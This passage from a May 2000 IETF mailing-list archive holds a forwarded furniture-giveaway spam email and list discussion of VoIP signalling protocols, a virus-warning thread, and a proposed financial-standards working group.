>> Big Beaver does not find his little dog, everyone will be miserable here 
>> in the BeaverPond.
>>    * You must fill-out the questionnaire in its entirety. Any 
>> uncompleted questionnaires will not qualify for the draw.
>>    * You agree to accept our weekly e-mailer for a minimum of 12 weeks. 
>> If at any time after that you choose to be removed from our e-mail list, 
>> we will do so immediately upon your request. It is unlikely anyone would 
>> want to be removed, frankly our graphically enhanced e-mailer is so much 
>> fun and so well designed, and many people tell us they wait on Saturday 
>> afternoon for their arrival. However, if after the 12 weeks you want off 
>> the list, we will comply with your request.
>>    * $5,000 BeaverBucks can be applied toward any BeaverHome flooring, 
>> furniture, door/trim and/or kitchen/bath product, and can be combined 
>> with any running specials.
>>    * All entrants must be 18 or over, or submit the survey on behalf of 
>> their parents.
>>    * Beavers, Squirrels and their families CAN NOT participate in this 
>> contest!
>>If you accept the rules above, please 
>><http://furniture-giveaway.com/5000.htm>proceed by following the link 
>>behind the icon below!
>>
>>
>>
>>
>>If you need assistance with any of our product lines, do not hesitate to 
>>give us a call, toll-free at: 1 (888) 595-HOME (4663)!
>>
>>You can reach our Customer Service Beavers Mon-Sat 7am-9pm.
>>
>>
>>In a constant effort to be known as responsible members of the Internet 
>>community, <http://furniture-giveaway.com/index.html>BeaverHome will 
>>forward any removal requests to the E Mail preference service that is 
>>provided by the Direct Marketing Association. The URL is 
>><http://www.e-mps.org/en/>http://www.e-mps.org/en/ and is designed to cut 
>>down on the amount of commercial e-mail consumers receive in their e-mail.
>>
>>If you have recieved this email in error or would like to be removed, 
>>either fill in your email address in the form below and click remove 
>><mailto: info@furniture-giveaway.com? Subject=Remove>"REMOVE" or call our 
>>automated removal service toll free 877 899 2399!
>>html text subscribe remove
>>
>>This message and its entire contents are (c)2000 by 
>><http://furniture-giveaway.com/index.html>BeaverHome and may not be 
>>reproduced in any form without prior written permission from 
>><http://furniture-giveaway.com/index.html>BeaverHome
>>
>>
>><http://furniture-giveaway.com/5000giveaway.html>  Enter to win $5000 in 
>>BeaverBucks
>><http://furniture-giveaway.com/5000giveaway.html>Read on...
>>
>><http://furniture-giveaway.com/flooring/jstone/index.html>  LimeStone, 
>>from Israel directly to your Home.
>><http://furniture-giveaway.com/flooring/jstone/index.html>Click to learn 
>>more...
>>
>><http://furniture-giveaway.com/flooring/rugs/index.html>  Introduces the 
>>Arabian Knights Collection of "Exquisite Area Rugs"
>><http://furniture-giveaway.com/flooring/rugs/index.html>Read On...
>>
>><http://furniture-giveaway.com/furniture/garden/index.html>  All Garden 
>>Furniture, 15% off.
>><http://furniture-giveaway.com/furniture/garden/catalog.html>Click here...
>>
>><http://furniture-giveaway.com/flooring/hardwood/index.html>  Hot Prices 
>>on Ash and Cherry
>><http://furniture-giveaway.com/flooring/hardwood/special.html>Check 'em 
>>out...
>>
>><http://furniture-giveaway.com/furniture/leather/index.html>  Overstock 
>>Model Blowout! <http://furniture-giveaway.com/furniture/leather/special.html>
>>Read On...
>>
>><http://www.furniture-giveaway.com/furniture/solidwood/catalog.html> 
>>Solid Hardwood Bedroom and Dining Furniture.
>><http://www.furniture-giveaway.com/furniture/solidwood/catalog.html>Read 
>>On...
>>
>>
>><mailto: info@bigbucksgiveaway.com>Send Us E-Mail

--=====================_17877473==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<br>
<font size=5 color="#FF0000"><b>Someone is using your mailing list for
spam!!!!<br>
<br>
</font></b><blockquote type=cite cite>Return-Path:
&lt;info@furniture-giveaway.com&gt;<br>
Received: from ogopogo.flash.net ([209.30.2.14])<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; by
mtiwgwc28.worldnet.att.net<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (InterMail
vM.4.01.02.39 201-229-119-122) with ESMTP<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; id
&lt;20000513162724.ILPL21166.mtiwgwc28.worldnet.att.net@ogopogo.flash.net&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for
&lt;glfielder@worldnet.att.net&gt;; Sat, 13 May 2000 16:27:24 +0000<br>
Received: from ietf.org (odin.ietf.org [132.151.1.176])<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>by
ogopogo.flash.net (8.9.3/Pro-8.9.3) with ESMTP id LAA06039;<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Sat, 13
May 2000 11:27:23 -0500 (CDT)<br>
From: info@furniture-giveaway.com<br>
Received: from furniture-giveaway.com ([204.120.0.7])<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>by
ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09534<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>for
&lt;ietf-123-outbound.09@ietf.org&gt;; Sat, 13 May 2000 12:16:27 -0400
(EDT)<br>
To: ietf-123-outbound.09@ietf.org<br>
Subject: $5000 in Exquisite Quality Home Furnishings Absolutely 
Free<br>
Date: Sat, 13 May 2000 12:17:51<br>
Message-Id: &lt;242.48444.250022@furniture-giveaway.com&gt;<br>
Reply-To: info@furniture-giveaway.com<br>
Mime-Version: 1.0<br>
Content-Type: text/html; charset=&quot;us-ascii&quot;<br>
<br>
<a href="http://furniture-giveaway.com/index.html"><br>
</a><b><a href="http://furniture-giveaway.com/index.html">WELCOME TO
BEAVERHOME</a></b> <br>
<a href="http://furniture-giveaway.com/index.html"><br>
</a><a href="http://furniture-giveaway.com/contact.html"><br>
</a><a href="http://furniture-giveaway.com/ordering.html"><br>
</a><a href="http://furniture-giveaway.com/shipping.html"><br>
</a><a href="http://furniture-giveaway.com/survey.html"><br>
</a><a href="http://furniture-giveaway.com/privacy.html"><br>
</a><a href="http://furniture-giveaway.com/about.html"><br>
</a><br>
<br>
<br>

<dl><h2><b>
<dd>Find L.G. the Dog <font size=5 color="#CC0000">$5,000
BeaverBucks</font> Giveaway</b></h2><br>
<br>
<br>
<br>
<br>
<br>
<blockquote>
<dd>Why... <br>
<br>

<dd>...would
<a href="http://furniture-giveaway.com/index.html">BeaverHome</a>, a
manufacturer of &quot;Exquisite quality home furnishings, sensibly
priced.&quot;(TM) give away
<a href="http://furniture-giveaway.com/5000giveaway.html">$5,000
BeaverBucks?</a> <br>
<br>

<dd>It's simple. Three reasons! 
</dl>
<ol>
<li>We have proudly admitted that there is not one good brain cell left
among our stressed-out marketing Beavers. We are just a bunch of
hard-working, hard-playing, fun-loving Beavers. Our web sites are beloved
among consumers, as it is our customers that have directed our web site
design for the last three years. So, who else to ask how to make our
business even better, than you, our customer! We are giving away $5,000
BeaverBucks in exchange for information and for your guidance. 
<li>The transition from Spring to Summer is a wonderful time for our
human friends. Beavers are no different. We come out of our lodges, and
we sun bathe, and feel all warm and fuzzy. We want one family to feel
like a Beaver warming himself in the Spring to Summer transition. What
better way to celebrate then to be informed that on the first day of
summer 2000, you had won $5,000 dollars to makeover your home? 
<li>By using the information you provide us in this survey we learn more
about what each of you are looking for in home furnishings products. This
helps us plan production. We can develop special runs of a particular
product. If we plan to produce 100 teak sun loungers, rather than 10, our
cost of production goes down by the efficiency of the run. With increases
in efficiency, and therefore lower production costs, we can pass on even
greater savings to you all, above our already silly BeaverPricing.
</ol><br>
<br>
</blockquote><h2><b>Rules</b></h2><br>
<br>
<blockquote>Here are the rules...
<ul>
<li>You must agree to help find L.G. The Beavers need your help. If the
Big Beaver does not find his little dog, everyone will be miserable here
in the BeaverPond. 
<li>You must fill-out the questionnaire in its entirety. Any uncompleted
questionnaires will not qualify for the draw. 
<li>You agree to accept our weekly e-mailer for a minimum of 12 weeks. If
at any time after that you choose to be removed from our e-mail list, we
will do so immediately upon your request. It is unlikely anyone would
want to be removed, frankly our graphically enhanced e-mailer is so much
fun and so well designed, and many people tell us they wait on Saturday
afternoon for their arrival. However, if after the 12 weeks you want off
the list, we will comply with your request. 
<li>$5,000 BeaverBucks can be applied toward any BeaverHome flooring,
furniture, door/trim and/or kitchen/bath product, and can be combined
with any running specials. 
<li>All entrants must be 18 or over, or submit the survey on behalf of
their parents. 
<li>Beavers, Squirrels and their families CAN NOT participate in this
contest!
</ul>If you accept the rules above, please
<a href="http://furniture-giveaway.com/5000.htm">proceed</a> by following
the link behind the icon below!<br>
<br>
<br>
<br>
<div align="center">
<br>
</div>
If you need assistance with any of our product lines, do not hesitate to
give us a call, toll-free at: 1 (888) 595-HOME (4663)! <br>
<br>
You can reach our Customer Service Beavers Mon-Sat 7am-9pm. <br>
<div align="center">
<br>
</div>
<br>
In a constant effort to be known as responsible members of the Internet
community,
<a href="http://furniture-giveaway.com/index.html">BeaverHome</a> will
forward any removal requests to the E Mail preference service that is
provided by the Direct Marketing Association. The URL is
<a href="http://www.e-mps.org/en/">http://www.e-mps.org/en/</a> and is
designed to cut down on the amount of commercial e-mail consumers receive
in their e-mail. <br>
<br>
If you have recieved this email in error or would like to be removed,
either fill in your email address in the form below and click remove
<a href="mailto: info@furniture-giveaway.com? Subject=Remove">&quot;REMOVE&quot;</a>
or call our automated removal service toll free 877 899 2399! <br>
<div align="center">
html text subscribe remove <br>
</div>
<br>
This message and its entire contents are (c)2000 by <a href="http://furniture-giveaway.com/index.html">BeaverHome</a> and may not be reproduced in any form without prior written permission from <a href="http://furniture-giveaway.com/index.html">BeaverHome</a> <br>
<br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/5000giveaway.html">&nbsp;</a> Enter to win $5000 in BeaverBucks<br>
<a href="http://furniture-giveaway.com/5000giveaway.html">Read on...</a> <br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/flooring/jstone/index.html">&nbsp;</a> LimeStone, from Israel directly to your Home. <br>
<a href="http://furniture-giveaway.com/flooring/jstone/index.html">Click to learn more...</a> <br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/flooring/rugs/index.html">&nbsp;</a> Introduces the Arabian Knights Collection of &quot;Exquisite Area Rugs&quot;<br>
<a href="http://furniture-giveaway.com/flooring/rugs/index.html">Read On...</a> <br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/furniture/garden/index.html">&nbsp;</a> All Garden Furniture, 15% off.<br>
<a href="http://furniture-giveaway.com/furniture/garden/catalog.html">Click here...</a> <br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/flooring/hardwood/index.html">&nbsp;</a> Hot Prices on Ash and Cherry<br>
<a href="http://furniture-giveaway.com/flooring/hardwood/special.html">Check 'em out...</a> <br>
<div align="center">
<br>
</div>
<a href="http://furniture-giveaway.com/furniture/leather/index.html">&nbsp;</a> Overstock Model Blowout! <a href="http://furniture-giveaway.com/furniture/leather/special.html"><br>
Read On...</a> <br>
<div align="center">
<br>
</div>
<a href="http://www.furniture-giveaway.com/furniture/solidwood/catalog.html">&nbsp;</a> Solid Hardwood Bedroom and Dining Furniture.<br>
<a href="http://www.furniture-giveaway.com/furniture/solidwood/catalog.html">Read On...</a> <br>
<br>
<br>
<div align="center">
<a href="mailto: info@bigbucksgiveaway.com">Send Us E-Mail</a> </blockquote></html>

--=====================_17877473==_.ALT--



From owner-ietf-outbound  Sat May 13 17:30:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA11945
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 17:30:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11922
	for <ietf@ietf.org>; Sat, 13 May 2000 17:29:36 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id XAA31266;
	Sat, 13 May 2000 23:29:22 +0200
Message-Id: <4.3.1.2.20000513232553.079fde80@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sat, 13 May 2000 23:27:10 +0200
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>,
        Christian Huitema <huitema@microsoft.com>
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
Cc: "'Yixin Zhu'" <yixin@xybridge.com>, ietf@ietf.org
In-Reply-To: <200005130020.JAA01391@necom830.hpcl.titech.ac.jp>
References: <57AD78231035CD4B86D4BD0CDC42238A31772A@red-pt-01.redmond.corp.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 09:19 13.05.2000 +0859, Masataka Ohta wrote:
>For VoIP over telephony networks (that is, mostly over non-Internet
>networks), H.323 and SS7 are the protocols to choose, because they
>are defined by ITU-T.
H.323 is defined for a LAN environment, not for telephone lines.
SS7 is not a protocol accessible to the subscriber.

If you want to use ITU protocols, please choose some other numbers.

                  Harald

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Sat May 13 19:50:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA12728
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 19:50:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12694
	for <ietf@ietf.org>; Sat, 13 May 2000 19:44:21 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005132332.IAA06106@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id IAA06106; Sun, 14 May 2000 08:32:44 +0900
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
In-Reply-To: <4.3.1.2.20000513232553.079fde80@dokka.kvatro.no> from Harald Tveit
 Alvestrand at "May 13, 2000 11:27:10 pm"
To: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Date: Sun, 14 May 2000 08:32:44 +0859 ()
CC: Christian Huitema <huitema@microsoft.com>,
        "'Yixin Zhu'" <yixin@xybridge.com>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Harald;

> At 09:19 13.05.2000 +0859, Masataka Ohta wrote:
> >For VoIP over telephony networks (that is, mostly over non-Internet
> >networks), H.323 and SS7 are the protocols to choose, because they
> >are defined by ITU-T.
> H.323 is defined for a LAN environment, not for telephone lines.

For telephony people, the IP protocol is for a LAN environment
that there is no difference between H.323, SIP, TELNET, or DNS
for that matter.

> SS7 is not a protocol accessible to the subscriber.

So?

As I said:

> >For VoIP over telephony networks

some protocol is necessary between two telephony networks.

FYI, there is a protocol called TBGP proposed in IETF for the purpose.

> If you want to use ITU protocols, please choose some other numbers.

So, you are saying SGCP/MGCP are wrong to use 323.

Fine.

FYI, in my design of "The Simple Internet Phone":

	If you are interested in Internet telephony, see you at
	INET'2000 in Yokohama for the presentation of our paper
	"The Simple Internet Phone".

I chose to keep using 164 (sorry, not 42) at least for the time being,
because it is the easiest way to let subscribers replace telephony
network with the Internet.

							Masataka Ohta



From owner-ietf-outbound  Sat May 13 22:40:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA15930
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 22:40:02 -0400 (EDT)
Received: from mauve.innosoft.com (DSL107-055.brandx.net [209.55.107.55])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15861
	for <ietf@ietf.org>; Sat, 13 May 2000 22:33:11 -0400 (EDT)
From: ned.freed@innosoft.com
Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243)
 id <01JPD25WZXU800004Y@mauve.mrochek.com> for ietf@ietf.org; Sat,
 13 May 2000 19:33:01 -0800 (PST)
Date: Sat, 13 May 2000 19:31:26 -0800 (PST)
Subject: Re: VIRUS WARNING
In-reply-to: "Your message dated Fri, 12 May 2000 14:05:07 -0400"
 <200005121805.e4CI58x37270@black-ice.cc.vt.edu>
To: Valdis.Kletnieks@vt.edu
Cc: ietf@ietf.org
Message-id: <01JPD2MBN8EC00004Y@mauve.mrochek.com>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii
References: <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
 <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
X-Loop: ietf@ietf.org

> On Fri, 12 May 2000 13:38:43 EDT, Jeremy said:
> > Can you plase pleaes stop this Virus Thread.

> Actually, there *ARE* important issues here.

> Would the IESG support the creation of a WG to discuss these, with the
> charter of producing a BCP documenting what *should* be done to minimize
> these risks in today's internet?

Talking about a WG seems premature. The first step would be to start a
discussion list and maybe schedule a BOF. If those steps prove fruitful
a WG would be a possibility.

I can set up a mailing list if you like.

				Ned



From owner-ietf-outbound  Sun May 14 03:21:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA02219
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 03:20:02 -0400 (EDT)
Received: from arcc.or.ke (root@[212.49.87.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01121
	for <ietf@ietf.org>; Sun, 14 May 2000 03:11:40 -0400 (EDT)
Received: from 199.2.222.254 ([199.2.222.124])
	by arcc.or.ke (8.9.3/8.9.3) with SMTP id KAA03422
	for <ietf@ietf.org>; Sun, 14 May 2000 10:33:53 +0300 (EAT)
Date: Sun, 14 May 2000 10:33:53 +0300 (EAT)
Message-Id: <200005140733.KAA03422@arcc.or.ke>
X-Sender: musandu@199.2.222.254
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: ietf@ietf.org
From: Musandu <musandu@arcc.or.ke>
Subject: Financial Standards Work group?
X-Loop: ietf@ietf.org

It may just be time for the IETF to develop a financial standards work group
seperate from the applications work group.  I can even forsee a Simple Cash
Transfer Protocol? any objections?

Yours sincerely,
Nyagudi Musandu



From owner-ietf-outbound  Sun May 14 03:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA03632
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 03:30:02 -0400 (EDT)
Received: from arcc.or.ke (root@[212.49.87.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01112
	for <ietf@ietf.org>; Sun, 14 May 2000 03:11:37 -0400 (EDT)
Received: from 199.2.222.254 ([199.2.222.124])
	by arcc.or.ke (8.9.3/8.9.3) with SMTP id KAA03409
	for <ietf@ietf.org>; Sun, 14 May 2000 10:33:49 +0300 (EAT)
Date: Sun, 14 May 2000 10:33:49 +0300 (EAT)
Message-Id: <200005140733.KAA03409@arcc.or.ke>
X-Sender: musandu@199.2.222.254
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: ietf@ietf.org
From: Musandu <musandu@arcc.or.ke>
Subject: VIRUSES ARE PROFITABLE???
X-Loop: ietf@ietf.org

Could the anti virus industry exist without viruses?? or Some Free lance
anti virus guys ever earn a living.  The bottom line is that viruses are
profitable ( one man's food is another man's poison ).  The internet is just
a refined vector / agent for spreading viruses.  So why don't you isolate
your important information from the internet, including back ups for your
web servers and open attachments on offline isolated computers also remember
to do your browsing on seperate computers.  That may reduce disaster
vunerability by about 5%.

I can forsee a virus coming in the next five years that will burn quiet and
number of graphic cards, mother boards, CRTs and etc..  That is if virus
manufacturers have ever read the xfree86 source code.

Yours sincerely,
Nyagudi Musandu.



From owner-ietf-outbound  Sun May 14 13:30:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09832
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 13:30:02 -0400 (EDT)
Received: from winery.garlic.com (winery-et0b.garlic.com [216.139.31.163] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09803
	for <ietf@ietf.org>; Sun, 14 May 2000 13:29:12 -0400 (EDT)
Received: from lynnpc (lynn-17.garlic.com [208.195.167.17])
	by winery.garlic.com (8.10.0/8.10.0) with ESMTP id e4EHTBf75424;
	Sun, 14 May 2000 10:29:11 -0700
Message-Id: <4.2.2.20000514100131.00ac2780@adcom.adcomsys.net>
X-Sender: lynn@garlic.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Sun, 14 May 2000 10:28:21 -0700
To: ietf@ietf.org
From: Anne & Lynn Wheeler <lynn@garlic.com>
Subject: re: Financial Stnadards Work group?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

Musandu <musandu@arcc.or.ke> writes:

 >It may just be time for the IETF to develop a financial standards
 >work group separate from the applications work group.  I can even >forsee 
a Simple Cash Transfer Protocol? any objections?

There is an ANSI Financial Standards body (X9) which is also chair of the 
ISO Financial Standards group.

The electronic commerce payments working group (X9A10) has a draft standard 
for all electronic retail payments (debit, credit, pre-paid, electronic 
cash, etc) .. X9.59.


misc. ref

http://www.x9.org/
http://www.x9.org/main_organization.html
http://www.x9.org/subcomms/x9a/general/public/general.html
http://www.tc68.org/
http://www.x9.org/n20.html
http://www.garlic.com/~lynn/
http://www.garlic.com/~lynn/99.html#224
http://www.garlic.com/~lynn/8583flow.htm
http://www.garlic.com/~lynn/draft-wheeler-ipki-aads-01.txt

& of course my rfc index is also at:

http://www.garlic.com/~lynn/rfcietff.htm

as well as ietf, payments, security, X9F, and financial glossaries



--
Anne & Lynn Wheeler      lynn@adcomsys.net, lynn@garlic.com
   http://www.garlic.com/~lynn/  http://www.adcomsys.net/lynn/



From owner-ietf-outbound  Sun May 14 17:50:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA11563
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 17:50:01 -0400 (EDT)
Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11538
	for <ietf@ietf.org>; Sun, 14 May 2000 17:49:04 -0400 (EDT)
Received: from nixon.nextlink.com (user-2ive0m4.dialup.mindspring.com [165.247.2.196])
	by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id RAA27389;
	Sun, 14 May 2000 17:49:01 -0400 (EDT)
Message-Id: <4.3.1.2.20000514155843.00c7b670@pop.mindspring.com>
X-Sender: henryc@pop.mindspring.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 14 May 2000 16:34:45 -0400
To: Jeremy <xelsed@escape.com>
From: Henry Clark <henryc@mindspring.com>
Subject: Re: VIRUS WARNING
Cc: ietf@ietf.org
In-Reply-To: <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
References: <200005121644.KAA18588@calcite.rhyolite.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 01:38 PM 5/12/00 -0400, Jeremy wrote:
>Can you plase pleaes stop this Virus Thread.

This thread _is_ the virus...



From owner-ietf-outbound  Sun May 14 21:20:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA13021
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 21:20:01 -0400 (EDT)
Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12987
	for <ietf@ietf.org>; Sun, 14 May 2000 21:17:14 -0400 (EDT)
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate2.mot.com (motgate2 2.1) with ESMTP id SAA26117; Sun, 14 May 2000 18:17:15 -0700 (MST)]
Received: [from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id SAA24883; Sun, 14 May 2000 18:17:15 -0700 (MST)]
Received: from agevole.cig.mot.com (agevole [136.182.3.251]) by relay1.cig.mot.com (8.8.8+Sun/SCERG-RELAY-1.11b) with ESMTP id UAA05853; Sun, 14 May 2000 20:14:36 -0500 (CDT)
Received: from cig.mot.com (mvp1.corp.mot.com [129.188.147.11]) by agevole.cig.mot.com (8.7.5 Motorola CIG/ITS v1.1 (Solaris 2.5)) with ESMTP id UAA05218; Sun, 14 May 2000 20:14:32 -0500 (CDT)
Message-Id: <200005150114.UAA05218@agevole.cig.mot.com>
Date: Sun, 14 May 2000 20:15:51 -0500
From: Qiaobing Xie <xieqb@cig.mot.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Musandu <musandu@arcc.or.ke>
CC: ietf@ietf.org
Subject: Re: Financial Standards Work group?
References: <200005140733.KAA03422@arcc.or.ke>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Maybe with a different name... "SCTP" has already been taken by Stream
Control Transmission Protocol :-)

-Qiaobing Xie

Musandu wrote:
> 
> It may just be time for the IETF to develop a financial standards work group
> seperate from the applications work group.  I can even forsee a Simple Cash
> Transfer Protocol? any objections?
> 
> Yours sincerely,
> Nyagudi Musandu



From owner-ietf-outbound  Sun May 14 22:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA14323
	for ietf-outbound.10@ietf.org; Sun, 14 May 2000 22:10:02 -0400 (EDT)
Received: from muSys.com (techno.musys.com [199.190.178.75])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14299
	for <ietf@ietf.org>; Sun, 14 May 2000 22:06:55 -0400 (EDT)
Received: (from miyata@localhost)
	by muSys.com (8.8.6/8.8.6) id WAA16369
	for ietf@ietf.org; Sun, 14 May 2000 22:06:57 -0400 (EDT)
Date: Sun, 14 May 2000 22:06:57 -0400 (EDT)
From: "Gaylord K. Miyata" <miyata@muSys.com>
Message-Id: <200005150206.WAA16369@muSys.com>
To: ietf@ietf.org
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org


speaking of telephony/telecom protocols, are there any "voice subscriber" 
MIBs/models - SNMP or CMIP oriented.  I'm just looking for a model used
for voice subscribers who are provisioned w/ some combination of AAL2, 
VOIP, GR-303, V.52.

Thanks

	- gaylord



From owner-ietf-outbound  Mon May 15 05:31:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA29839
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 05:30:02 -0400 (EDT)
Received: from fepE.post.tele.dk (fepE.post.tele.dk [195.41.46.137])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA29794
	for <ietf@ietf.org>; Mon, 15 May 2000 05:21:45 -0400 (EDT)
Received: from Anders ([194.239.165.181]) by fepE.post.tele.dk
          (InterMail vM.4.01.02.00 201-229-116) with SMTP
          id <20000515092145.VQYY11116.fepE.post.tele.dk@Anders>
          for <ietf@ietf.org>; Mon, 15 May 2000 11:21:45 +0200
Message-ID: <001901bfbe4e$fb5bfee0$1000000a@DIC>
From: "Anders Feder" <lists.anders@feder.dk>
To: <ietf@ietf.org>
References: <200005140733.KAA03409@arcc.or.ke>
Subject: Re: VIRUSES ARE PROFITABLE???
Date: Mon, 15 May 2000 11:21:35 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> ... why don't you isolate
> your important information from the internet, including back ups for your
> web servers and open attachments on offline isolated computers also
remember
> to do your browsing on seperate computers.  That may reduce disaster
> vunerability by about 5%.

If you are so rich that you can afford one seperate computer for each little
task to accomplish, please send me
some money. It seems that you have plenty.

- Anders Feder



From owner-ietf-outbound  Mon May 15 05:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA00022
	for ietf-outbound.10@ietf.org; Mon, 15 May 2000 05:40:03 -0400 (EDT)
Received: from fepE.post.tele.dk (fepE.post.tele.dk [195.41.46.137])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA29801
	for <ietf@ietf.org>; Mon, 15 May 2000 05:21:58 -0400 (EDT)
Received: from Anders ([194.239.165.181]) by fepE.post.tele.dk
          (InterMail vM.4.01.02.00 201-229-116) with SMTP
          id <20000515092159.VQZM11116.fepE.post.tele.dk@Anders>
          for <ietf@ietf.org>; Mon, 15 May 2000 11:21:59 +0200
Message-ID: <001a01bfbe4f$03729d00$1000000a@DIC>
From: "Anders Feder" <lists.anders@feder.dk>
To: <ietf@ietf.org>
References: <200005140733.KAA03409@arcc.or.ke>
Subject: Re: VIRUSES ARE PROFITABLE???
Date: Mon, 15 May 2000 11:21:35 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> ... why don't you isolate
> your important information from the internet, including back ups for your
